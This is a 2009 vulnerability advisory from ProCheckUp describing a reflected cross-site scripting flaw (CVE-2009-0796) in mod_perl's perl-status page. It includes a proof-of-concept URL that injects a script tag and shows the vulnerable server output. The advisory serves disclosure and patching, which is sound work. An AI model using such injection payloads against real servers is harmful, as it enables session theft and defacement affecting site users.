The perl-status utility as included with Mod_perl suffers from a cross site scripting vulnerability.
de439bb421e77dc689929ce1ef77502f19c9bc54c7d2836c7d566630c8db74c5
Vulnerability found: 28th February 2009
Vendor informed: 1st March 2009
Advisory last updated: 1st March 2009
Severity: Medium/High
Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)
CVE reference: CVE-2009-0796
BID: 34383
Many thanks to Torsten Foertsch for his kind assistance in fixing the bug.
Description:
There is a Cross-site Scripting vulnerability on Mod_perl's, perl-status utility. The perl-status utility on request displays the current status of the Mod_perl server, and some configuration information. Perl-status when configured to allow any viewers, presents an information disclosure risk,
Procheckup has found by making a malformed request to perl-status, that additionally a vanilla cross site scripting (XSS) attack is possible.
Proof of concept:
Submitting the following string to an unpatched server "server".
http://server:80/perl-status/APR::SockAddr::port/%22%3E%3Cscript%3Ealert(1)%3C/script%3E
The following is returned:-
<p><a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?env">Environment</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?inc">Loaded Modules</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?inh_tree">Inheritance Tree</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?isa_tree">ISA Tree</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?myconfig">Perl Configuration</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?rgysubs">Compiled Registry Scripts</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?script">PerlRequire'd Files</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?sig">Signal Handlers</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?symdump">Symbol Table Dump</a><br />
</p></body></html>
An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link or visits a malicious webpage. The malicious code would run in the security context of the vulnerable website.
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: passwords or session IDs) to unauthorised third parties.
Fix:
http://perl.apache.org/
Legal:
Copyright 2009 Procheckup Ltd. All rights reserved.
Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes.
Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.